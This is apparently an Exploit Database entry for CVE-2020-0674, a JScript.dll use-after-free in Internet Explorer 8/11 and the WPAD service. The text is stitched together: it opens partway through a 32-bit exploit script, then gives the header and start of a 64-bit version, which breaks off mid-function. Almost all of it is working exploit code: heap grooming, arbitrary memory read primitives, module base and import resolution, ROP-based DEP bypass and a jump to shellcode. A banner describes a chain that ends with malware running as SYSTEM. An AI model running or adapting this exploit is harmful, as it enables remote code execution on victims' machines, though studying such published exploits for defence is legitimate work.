for (i = 0; i < DwordArray.length; i++) {
ByteArray.push(DwordArray[i] & 0xffff);
ByteArray.push((DwordArray[i] & 0xffff0000) >> 16);
}
return String.fromCharCode.apply(null, ByteArray);
}
function StrcmpLeak(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address
var TargetTableIndex = 0;
while (TargetTableIndex < StrDwordTable.length) {
var LeakStrWord = LeakWord(LeakAddress + (4 * TargetTableIndex));
var SanitizedStrWord = NullSanitizeWord(LeakStrWord);
var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF);
DebugLog("StrcmpLeak comparing 0x" + TableWord.toString(16) + " to 0x" + SanitizedStrWord.toString(16) + " original word " + LeakStrWord.toString(16));
if(TableWord == SanitizedStrWord) {
LeakStrWord = LeakWord((LeakAddress + (4 * TargetTableIndex) + 2));
SanitizedStrWord = NullSanitizeWord(LeakStrWord);
TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16);
DebugLog("StrcmpLeak comparing 0x" + TableWord.toString(16) + " to 0x" + SanitizedStrWord.toString(16));
if(TableWord == SanitizedStrWord) {
if((TargetTableIndex + 1) >= StrDwordTable.length) {
return true;
}
else {
DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10) + " DWORD array length is: " + StrDwordTable.length.toString(10));
}
TargetTableIndex++;
}
else {
break;
}
}
else {
break;
}
}
return false;
}
////////
////////
// Primary high level exploit logic
////////
function Exploit() {
// Initialization
StartTimer();
for(i = 0; i < 310; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort method
var LFHBlocks = new Array();
// Trigger LFH for a size of 0x648
for(i = 0; i < 50; i++) {
Temp = new Object();
Temp[Array(379).join('A')] = 1; // Property name size of 0x17a (378) will produce an allocation of 0x648 bytes
LFHBlocks.push(Temp);
}
EndTimer("LFH");
// New set of untracked vars in freed GcBlock
StartTimer();
NewUntrackedVarSet(); // Consistently 460 total
DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10));
// Re-claim with type confusion NameLists
for(i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size
NameListAnchors[i]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
NameListAnchors[i]["\u0003"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR
NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked
}
EndTimer("Infoleak VAR creation + re-claim");
// Leak final VVAL address from one of the NameLists
StartTimer();
AnchorObjectsBackup = NameListAnchors; // Prevent it from being freed and losing our leaked pointer
EndTimer("Anchor backup");
StartTimer();
var LeakedVvalAddress = 0;
for(i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] > 0x1000) {
LeakedVvalAddress = UntrackedVarSet[i];
break;
}
}
EndTimer("Infoleak VAR scan");
DebugLog("leaked final VVAL address of " + LeakedVvalAddress.toString(16));
if(LeakedVvalAddress != 0) {
var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.
for(i=0; i < 46; i++) {
PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress, 0);
}
while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a
// New set of untracked vars in freed GcBlock
StartTimer();
NewUntrackedVarSet();
// Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction)
for(i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
EndTimer("Anchor index VAR creation + re-claim");
StartTimer();
// Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR
var LeakedVvalVar;
for(i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object")
LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value
break;
}
}
DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16));
// Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known)
ReClaimIndexNameList(0x11, "A");
if(LeakedVvalVar + "" == 0x11) {
// Create the mutable variable which will be used throughout the remainder of the exploit
EndTimer("Anchor index VAR scan");
DebugLog("Leaked anchor object re-claim verification success");
ReClaimIndexNameList(0, CreateVar32(0x3, 0x22, 0));
var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding.
for(i=0; i < 46; i++) {
PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress + 0x30, 0); // +0x30 is the offset to property name field of 32-bit VVAL struct
}
while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a
// New set of untracked vars in freed GcBlock
StartTimer();
NewUntrackedVarSet();
// Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created)
for(i = 0; i < NameListAnchorCount; i++) {
NameListAnchors[i][PrimaryVvalPropName] = 1;
}
EndTimer("Mutable VAR reference creation + re-claim");
StartTimer();
for(i = 0; i < UntrackedVarSet.length; i++) {
if(typeof UntrackedVarSet[i] === "number") {
if(UntrackedVarSet[i] + "" == 0x22) {
MutableVar = UntrackedVarSet[i];
break;
}
}
}
// Verify the mutable var can be changed via simple re-claim
ReClaimIndexNameList(0, CreateVar32(0x3, 0x33, 0));
if(MutableVar + "" == 0x33) {
// Test arbitrary read primitive
EndTimer("Mutable VAR reference scan");
DebugLog("Verified mutable variable modification via re-claim");
if(LeakByte(LeakedVvalAddress + 0x30) == 0x8) { // Change mutable var to a BSTR pointing at itself.
// Derive jscript.dll base from leaked Object vtable
DebugLog("Memory leak test successful");
StartTimer();
var DissectedObj = new Object();
var ObjectAddress = LeakObjectAddress(LeakedVvalAddress, DissectedObj);
var VtableAddress = LeakDword(ObjectAddress);
DebugLog("Leaked vtable address: " + VtableAddress.toString(16));
var JScriptBase = DiveModuleBase(VtableAddress);
if(JScriptBase != 0) {
// Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base
EndTimer("JScriptBase base leak");
DebugLog("Leaked JScript base address: " + JScriptBase.toString(16));
StartTimer();
var Kernel32ImportX = ExtractBaseFromImports(JScriptBase, [0x4e52454b, 0x32334c45]);
if(Kernel32ImportX != 0) {
EndTimer("Kernel32 random import leak");
StartTimer();
var Kernel32Base = DiveModuleBase(Kernel32ImportX);
if(Kernel32Base != 0) {
EndTimer("Kernel32.dll base resolution");
DebugLog("Successfully resolved kernel32.dll base at 0x" + Kernel32Base.toString(16));
StartTimer();
// Obtain the address of NtProtoectVirtualMemry via the imports of Kernel32.dll (which always imported NtProtoectVirtualMemry from NTDLL.DLL). This can be expensive operation, thus a hint may be used to skip ahead to the correct IAT/INT index for NtProtoectVirtualMemry depending on the version of Kernel32.dll
var HintIndex = 141; // Windows 7 x64 - Wow64 Kernel32.dll 6.1.7601.17514 (win7sp1_rtm.101119-1850)
var NtProtectAddress = ResolveImport(Kernel32Base, HintIndex, [0x6c64746e, 0x6c642e6c], [0x7250744e, 0x6365746f]); // 'rPtN' 'ceto'
if(NtProtectAddress != 0) {
EndTimer("NtProtoectVirtualMemry resolution");
DebugLog("Successfully resolved NtProtoectVirtualMemry address from kernel32.dll IAT: " + NtProtectAddress.toString(16));
// Obtain a random MSVCRT.DLL import from Jscript.dll and use it to identify the base of MSVCRT.DLL: it is from MSVCRT.DLL that the ROP gadgets will be harvested
StartTimer();
var MsvcrtImportX = ExtractBaseFromImports(JScriptBase, [0x6376736d, 0x642e7472]);
var MsvcrtBase = DiveModuleBase(MsvcrtImportX);
EndTimer("MsvcrtBase base leak");
StartTimer();
var RopGadgetSet = ResolveGadgetSet(MsvcrtBase);
EndTimer("ROP gadget resolution");
if(RopGadgetSet != null) {
// NtProtoectVirtualMemry cannot/should not be used as the direct address for disabling DEP. EMET may have hooked it. Therefore, hunt for another syscall in NTDLL.DLL which has the same number of paraameters (same RETN value) as NtProtoectVirtualMemry and use it as a stub.
StartTimer();
var NtProtectProxyStubAddress = ResolveNtProtectProxyStub(NtProtectAddress, 0x100);
EndTimer("NtProtoectVirtualMemry proxy stub resolution");
if(NtProtectProxyStubAddress != 0) {
// Convert the shellcode from a DWORD array into a BSTR and leak its address in memory.
StartTimer();
var ShellcodeStr = TableToUnicode(Shellcode);
var ShellcodeLen = (ShellcodeStr.length * 2);
DebugLog("Shellcode length: 0x" + ShellcodeLen.toString(16));
ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here)
var ShellcodeAddress = LeakObjectAddress(LeakedVvalAddress, ShellcodeStr);
DebugLog("ShellcodeAddress address: " + ShellcodeAddress.toString(16));
// NtProtoectVirtualMemry has several parameters which are in/out pointers. Thus we must have a +RW region of memory whose contents we control and address we have leaked to carry these values.
var WritableStr = "";
WritableStr += ConvertDwordArrayToBytes([0]);
WritableStr += ConvertDwordArrayToBytes([ShellcodeAddress]);
WritableStr += ConvertDwordArrayToBytes([ShellcodeLen]);
WritableStr += ConvertDwordArrayToBytes([0]);
WritableStr = WritableStr.substr(0, WritableStr.length);
var WritableAddress = LeakObjectAddress(LeakedVvalAddress, WritableStr);
// Create the fake vtable for the mutable var. The Typeof method of this vtable is what will be used to trigger the EIP hijack. Since the vtable serves as dual-role as both a vtable and an artificial stack (after the stack pivot) extra space/padding is used to accomodate this (NtProtectVirtualMemory itself will require this space for its stack usage)
var FakeVtablePaddingSize = 0x10000; // 64KB should be plenty to accomodate stack usage within NtProtectVirtualMemory and within shellcode (if it does not stack pivot on its own)
var FakeVtable = CreateFakeVtable(FakeVtablePaddingSize, 0x200, NtProtectProxyStubAddress, ShellcodeAddress, RopGadgetSet, WritableAddress); // Doing this in a separate function is crucial for the AddressOf primitive to work properly. Concatenated vars in the same scope end up as a linked list of VARs
FakeVtable = FakeVtable.substr(0, FakeVtable.length); // Nice trick to fix the AddressOf primitive. VARs created with multiple concats of other VARs end up as a linked list of VARs
// Re-claim NameList with mutable var set to region AFTER its own VAR in property name (as type 0x81). At this location in property name (+8 because of Type from generated VAR) the "object pointer" of the additional VAR (the fake vtable address) should be pointing at fake vtable BSTR +4 (to skip length
var FakeVtableAddress = (LeakObjectAddress(LeakedVvalAddress, FakeVtable) + FakeVtablePaddingSize);
EndTimer("Building shellcode, fake vtable, writable objects");
DebugLog("Fake vtable address: " + FakeVtableAddress.toString(16));
ReClaimIndexNameList(0, CreateVar32(0x81, LeakedVvalAddress + 0x30 + 16 + 8, 0) + CreateVar32(0, FakeVtableAddress, 0)); // VAR in VVAL will be a type 0x81 (not type 0x80) VAR. The 0x81 VAR pointer goes to the allocated (Array) object, the first 4 bytes of which are a vtable within jscript.dll
DebugLog("Executing stack pivot for DEP bypass at " + RopGadgetSet.StackPivot.toString(16));
typeof MutableVar;
DebugLog("Clean return from shellcode");
}
else {
DebugLog("Failed to resolve NtProtoectVirtualMemry proxy stub via opcode scan");
}
}
else {
DebugLog("Fatal error: unable to dynamically resolve ROP gadget addresses");
}
}
else {
DebugLog("Failed to resolve NtProtoectVirtualMemry from kernel32.dll IAT");
}
}
else {
DebugLog("Failed to identify Kernel32.dll base address via import " + Kernel32ImportX.toString(16));
}
}
else {
DebugLog("Failed to identify raandom kernel32.dll import address from JScript.dll IAT");
}
}
else {
DebugLog("Failed to leak JScript.dll base address");
}
}
else {
DebugLog("Memory leak test failed");
}
}
else {
DebugLog("Failed to verify mutable variable modification via re-claim");
}
}
else {
DebugLog("Failed to extract final VVAL index via re-claim");
}
}
else {
DebugLog("Leaked anchor object type confusion re-claim failed");
}
}
Exploit();
</script>
</head>
</html>
Exploit Database EDB-ID : 49863
Date de publication : 2021-05-12 22:00 +00:00
Auteur : Forrest Orr
EDB Vérifié : No
# Exploit Title: Microsoft Internet Explorer 8/11 and WPAD service 'Jscript.dll' - Use-After-Free
# Date: 2021-05-04
# Exploit Author: deadlock (Forrest Orr)
# Vendor Homepage: https://www.microsoft.com/
# Software Link: https://www.microsoft.com/en-gb/download/internet-explorer.aspx
# Versions: IE 8-11 (64-bit) as well as the WPAD service (64-bit) on Windows 7 and 8.1 x64
# Tested on: Windows 7 x64, Windows 8.1 x64
# CVE: CVE-2020-0674
# Bypasses: DEP, ASLR, CFG
# Original (IE-only/Windows 7-only) exploit credits: maxpl0it
# Full explain chain writeup: https://github.com/forrest-orr/DoubleStar
/*
________ ___. .__ _________ __
\______ \ ____ __ __\_ |__ | | ____ / _____/_/ |_ _____ _______
| | \ / _ \ | | \| __ \ | | _/ __ \ \_____ \ \ __\\__ \ \_ __ \
| ` \( <_> )| | /| \_\ \| |__\ ___/ / \ | | / __ \_| | \/
/_______ / \____/ |____/ |___ /|____/ \___ > /_______ / |__| (____ /|__|
\/ \/ \/ \/ \/
Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain
______________
| Remote PAC |
|____________|
^
| HTTPS
_______________ RPC/ALPC _______________ RPC/ALPC _______________
| firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe |
|_____________| |_____________| <----------- |_____________|
| RPC/Pipe
|
_______________ |
| malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM
|_____________|
~
Component
JavaScript file containing CVE-2020-0674 UAF targetting IE8/11 and WPAD 64-bit
on Windows 7 and 8.1 x64. It may be used as an alternative RCE attack vector in
the exploit chain (in which case it should be used in conjunction with the
stage two WPAD sandbox escape shellcode), as a PAC file (see settings) or a
stand-alone IE8/11 64-bit exploit. Note that if used as the initial RCE in the
full exploit chain, Windows 7 is unsupported by the required stage two WPAD
sandbox escape shellcode.
________________ CVE-2020-0674 _______________________ RPC/ALPC _______________
| iexplore.exe | -------------> | WPAD sandbox escape | ----------> | svchost.exe |
|______________| | shellcode (heap) | |_____________|
|_____________________|
~
Overview
This is a 64-bit adaptation of CVE-2020-0674 which can exploit both IE8/11
64-bit as well as the WPAD service on Windows 7 and 8.1 x64. It has bypasses
for DEP, ASLR, and CFG. It uses dynamic ROP chain creation for its RIP
hijack and stack pivot. Notably, this exploit does not contain bypasses for
Windows Exploit Guard or EMET 5.5 and does not work on IE11 or WPAD in
Windows 10.
~
Design
The UAF is a result of two untracked variables passed to a comparator for the
Array.sort method, which can then be used to reference VAR structs within
allocated GcBlock regions which can subsequently be freed via garbage
collection. Control of the memory of VAR structs with active JS var
references in the runtime script is then used for arbitrary read (via BSTR)
and addrof primitives.
Ultimately the exploit aims to use KERNEL32.DLL!VirtualProtect to disable DEP
on a user defined shellcode stored within a BSTR on the heap. This is achieved
through use of NTDLL.DLL!NtContinue, an artificial stack (built on the heap)
and a dynamically resolved stack pivot ROP gadget.
NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET
RCX = Shellcode address
RDX = Shellcode size
R8 = 0x40
R9 = Leaked address of BSTR to hold out param
RSP = Real stack pointer
R11 = Artificial stack
|-----------------------------| ^
| 2MB stack space (heap) | |
|-----------------------------| |
| Heap header/BSTR len align | |
|-----------------------------| |
| KERNEL32.DLL!VirtualProtect | <----------|
|-----------------------------|
| Shellcode return address ]
|-----------------------------|
The logic flow is:
1. A fake object with a fake vtable is constructed containing the address
of NTDLL.DLL!NtContinue as its "typeof" method pointer. This primitive
is used for RIP hijack in conjunction with a pointer to a specially
crafted CONTEXT structure in RCX as its parameter.
2. NtContinue changes RIP to a stack pivot gadget and sets up the parameters
to KERNEL32.DLL!VirtualProtect.
3. The address of VirtualProtect is the first return address to be
consumed on the new (artificial) stack after the stack pivot.
4. VirtualProtect disables DEP on the shellcode region and returns to that
same (now +RWX) shellcode address stored as the second return address on
the pivoted stack.
Notably, the stack pivot was needed here due to the presence of CFG on
Windows 8.1, which prevents NtContinue from being used to change RSP to an
address which falls outside the stack start/end addresses specified in the
TEB. On Windows 7 this is a non-issue. Furthermore, it required a leak of RSP
to be planted in the CONTEXT structure so that NtContinue would consider its
new RSP valid.
The exploit will not work on Windows 10 due to enhanced protection by CFG:
Windows 10 has blacklisted NTDLL.DLL!NtContinue to CFG by default.
~
Credits
maxpl0it - for doing the original analysis and PoC for CVE-2020-0674
on IE8/11 on Windows 7 x64.
HackSys Team - for tips on the WPAD service and low level JS debugging.
*/
////////
////////
// Global settings
////////
var PayloadType = "shellcode"; // Can be "shellcode" or "winexec"
var CommandStr = "\u3a63\u775c\u6e69\u6f64\u7377\u6e5c\u746f\u7065\u6461\u652e\u6578"; // The ASCII string to be executed via WinExec if the relevant payload type is selected - C:\Windows\notepad.exe
var WindowsVersion = 8.1; // Can be 8.1 or 7. Only the 64-bit versions of these OS are supported.
var PacFile = false;
var EnableDebug = false;
var EnableTimers = false;
var AlertOutput = false;
////////
////////
// Stack-sensitive array initialization logic
////////
var SortArray = new Array(); // Initializing this locally rather than globally causes stack issues, particularly in regards to WPAD.
for(var i = 0; i <= 150; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort comparator
////////
////////
// Debug/timer code
////////
var TimeStart;
var ReadCount;
var ScriptTimeStart = new Date().getTime();
function StartTimer() {
ReadCount = 0;
TimeStart = new Date().getTime();
}
function EndTimer(Message) {
var TotalTime = (new Date().getTime() - TimeStart);
if(EnableTimers) {
if(AlertOutput) {
alert("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
else {
console.log("TIME ... " + Message + " time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
}
}
}
function DebugLog(Message) {
if(EnableDebug) { // When debug is enabled the distinction between "stack overflow" and "out of memory" errors are lost: console always determines there to be an "out of memory" condition even though this only sppears after scoping of SortDepth is changed.
if(AlertOutput) {
alert(Message);
}
else {
console.log(Message); // In IE, console only works if devtools is open.
}
}
}
////////
////////
// UAF/untracked variable creation code
////////
var UntrackedVarSet;
var VarSpray;
var VarSprayCount = 20000; // 200 GcBlocks
var NameListAnchors;
var NameListAnchorCount = 0; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim
var SortDepth = 0;
function GlitchedComparator(Untracked1, Untracked2) {
Untracked1 = VarSpray[SortDepth*2];
Untracked2 = VarSpray[SortDepth*2 + 1];
if(SortDepth >= 150) {
VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks
CollectGarbage(); // Free the GcBlocks
UntrackedVarSet.push(Untracked1);
UntrackedVarSet.push(Untracked2);
}
else {
SortDepth += 1;
// There is a difference between the stack size between WPAD and Internet Explorer. In IE, a stack overflow exception will occur around depth 250 however in WPAD it will occur on a depth of less than 150, ensuring a stack overflow exception/alert will be thrown in the exploit. This try/catch in conjunction with a global initialization of the sort array allows the depth to be sufficient to produce an untracked var which will overlap with the type confusion offset in the re-claimed GcBlock.
try {
SortArray[SortDepth].sort(GlitchedComparator);
}
catch(ex) {
VarSpray = new Array(); // Erase references to sprayed vars within GcBlocks
CollectGarbage(); // Free the GcBlocks
}
UntrackedVarSet.push(Untracked1);
UntrackedVarSet.push(Untracked2);
}
return 0;
}
function NewUntrackedVarSet() {
SortDepth = 0;
VarSpray = new Array();
NameListAnchors = new Array();
UntrackedVarSet = new Array();
for(var i = 0; i < NameListAnchorCount; i++) NameListAnchors[i] = new Object(); // Overlay must happen before var spray
for(var i = 0; i < VarSprayCount; i++) VarSpray[i] = new Object();
CollectGarbage();
SortArray[0].sort(GlitchedComparator); // Two untracked vars will be passed to this method by the JS engine
}
////////
////////
// UAF re-claim/mutable variable code (used for arbitrary read)
////////
var AnchorObjectsBackup;
var LeakedAnchorIndex = -1;
var SizerPropName = Array(570).join('A');
var MutableVar;
var ReClaimNameList;
var InitialReClaim = true;
function ReClaimIndexNameList(Value, PropertyName) {
CollectGarbage(); // Cleanup - note that removing this has not damaged stability of the exploit in any of my own tests and its removal significantly improved exploit performance (each arbitrary read is about twice as fast). I've left it here from maxspl0it's original version of the exploit to ensure stability.
AnchorObjectsBackup[LeakedAnchorIndex] = null; // Delete the anchor associated with the leaked NameList allocation
CollectGarbage(); // Free the leaked NameList
AnchorObjectsBackup[LeakedAnchorIndex] = new Object();
AnchorObjectsBackup[LeakedAnchorIndex][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size
AnchorObjectsBackup[LeakedAnchorIndex]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
AnchorObjectsBackup[LeakedAnchorIndex]["\u0005"] = 1;
AnchorObjectsBackup[LeakedAnchorIndex][PropertyName] = Value; // The mutable variable
ReadCount++;
}
function ReClaimBackupNameLists(Value, PropertyName) {
var PrecisionReClaimAllocCount = 500; // This is the number of re-claim attempts that are needed for a precision re-claim of a single freed region, not hundreds such as in the case of the GcBlock/type confusion re-claims. On IE8/11 300 is plenty, on WPAD 500 seems to be more stable.
CollectGarbage(); // Cleanup
if(InitialReClaim) {
AnchorObjectsBackup[LeakedAnchorIndex] = null;
InitialReClaim = false;
PrecisionReClaimAllocCount -= 1;
AnchorObjectsBackup[LeakedAnchorIndex] = new Object(); // Clog the index
}
for(var i = 0; i < PrecisionReClaimAllocCount; i++) {
if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = null;
}
CollectGarbage(); // Free the leaked NameList
for(var i = 0; i < PrecisionReClaimAllocCount; i++) {
if(i != LeakedAnchorIndex) AnchorObjectsBackup[i] = new Object();
AnchorObjectsBackup[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size
AnchorObjectsBackup[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit
AnchorObjectsBackup[i]["\u0005"] = 1;
AnchorObjectsBackup[i][PropertyName] = Value; // The mutable variable
}
ReadCount++;
}
function CreateVar64(Type, ObjPtrLow, ObjPtrHigh, NextPtrLow, NextPtrHigh) {
var CharCodes = new Array();
CharCodes.push(
// Type
Type, 0, 0, 0,
// Object pointer
ObjPtrLow & 0xffff, (ObjPtrLow >> 16) & 0xffff, ObjPtrHigh & 0xffff, (ObjPtrHigh >> 16) & 0xffff,
// Next pointer
NextPtrLow & 0xffff, (NextPtrLow >> 16) & 0xffff, NextPtrHigh & 0xffff, (NextPtrHigh >> 16) & 0xffff);
return String.fromCharCode.apply(null, CharCodes);
}
function LeakByte64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return (MutableVar.length >> 15) & 0xff; // Shift to align and get the byte.
}
function LeakWord64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
return ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
}
function LeakDword64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0)); // +2 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var LowWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0)); // +4 for BSTR length adjustment (only a WORD at a time can be cleanly read despite being a 32-bit field)
var HighWord = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return LowWord + (HighWord << 16);
}
function LeakQword64(Address) {
ReClaimNameList(0, CreateVar64(0x8, Address.low + 2, Address.high, 0, 0));
var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 4, Address.high, 0, 0));
var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 6, Address.high, 0, 0));
var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(0, CreateVar64(0x8, Address.low + 8, Address.high, 0, 0));
var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
return MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16));
}
function LeakObjectAddress64(ObjVarAddress, ObjVarValue) { // This function does not always work, there are some edge cases. For example if a BSTR is declared var A = "123"; it works fine. However, var A = "1"; A += "23"; resuls in multiple layers of VARs referencing VARs and this function will no longer get the actual BSTR address.
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 2, ObjVarAddress.high, 0, 0));
var LowLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 4, ObjVarAddress.high, 0, 0));
var LowHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 6, ObjVarAddress.high, 0, 0));
var HighLow = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
ReClaimNameList(ObjVarValue, CreateVar64(0x8, ObjVarAddress.low + 8 + 8, ObjVarAddress.high, 0, 0));
var HighHigh = ((MutableVar.length >> 15) & 0xff) + (((MutableVar.length >> 23) & 0xff) << 8);
var DerefObjVarAddress = MakeQword(HighLow + (HighHigh << 16), LowLow + (LowHigh << 16) + 8);
return LeakQword64(DerefObjVarAddress); // The concept here is to turn the property name (the mutable var) into a BSTR VAR pointing at its own VVAL (which starts with another, real VAR). The real VAR can be set dynamically to the address of the desired object. So there are two stages: first to read the object pointer out of the VAR within the final VVAL, and then to leak the object pointer of the VAR it is pointing to (skipping +8 over its Type field)
}
////////
////////
// PE parsing/EAT and IAT resolution code
////////
function ResolveExport64(ModuleBase, TargetExportNameTable) {
var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c));
var EATRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x88));
if(EATRva) {
var TotalExports = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x14));
var AddressRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x1C));
var NameRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x20));
var OrdinalRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x24));
var MaxIndex = TotalExports;
var MinIndex = 0;
var CurrentIndex = Math.floor(TotalExports / 2);
var TargetTableIndex = 0;
var BinRes = 0;
var TrailingNullWord = false;
if((TargetExportNameTable[TargetExportNameTable.length - 1] & 0xFFFFFF00) == 0) {
TrailingNullWord = true;
}
while(TotalExports) {
var CurrentNameRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + NameRvas + 4*CurrentIndex));
while (TargetTableIndex < TargetExportNameTable.length) {
var CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex))));
var TargetExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF);
var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
var FinalTableIndex = false;
if((TargetTableIndex + 1) >= TargetExportNameTable.length) {
FinalTableIndex = true;
}
BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord);
if(!BinRes) {
TargetExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16);
CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex)) + 2));
SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord);
if(TrailingNullWord && FinalTableIndex) {
var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex));
var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal)));
return MainExport;
}
BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord);
if(!BinRes) {
if(FinalTableIndex) {
var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex));
var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal)));
return MainExport;
}
TargetTableIndex++;
}
else {
TargetTableIndex = 0;
break;
}
}
else {
TargetTableIndex = 0;
break;
}
}
if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index
if(MaxIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit max");
break;
}
MaxIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2);
}
else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index
if(MinIndex == CurrentIndex) {
DebugLog("Failed to find export: index hit min");
break;
}
MinIndex = CurrentIndex;
CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2);
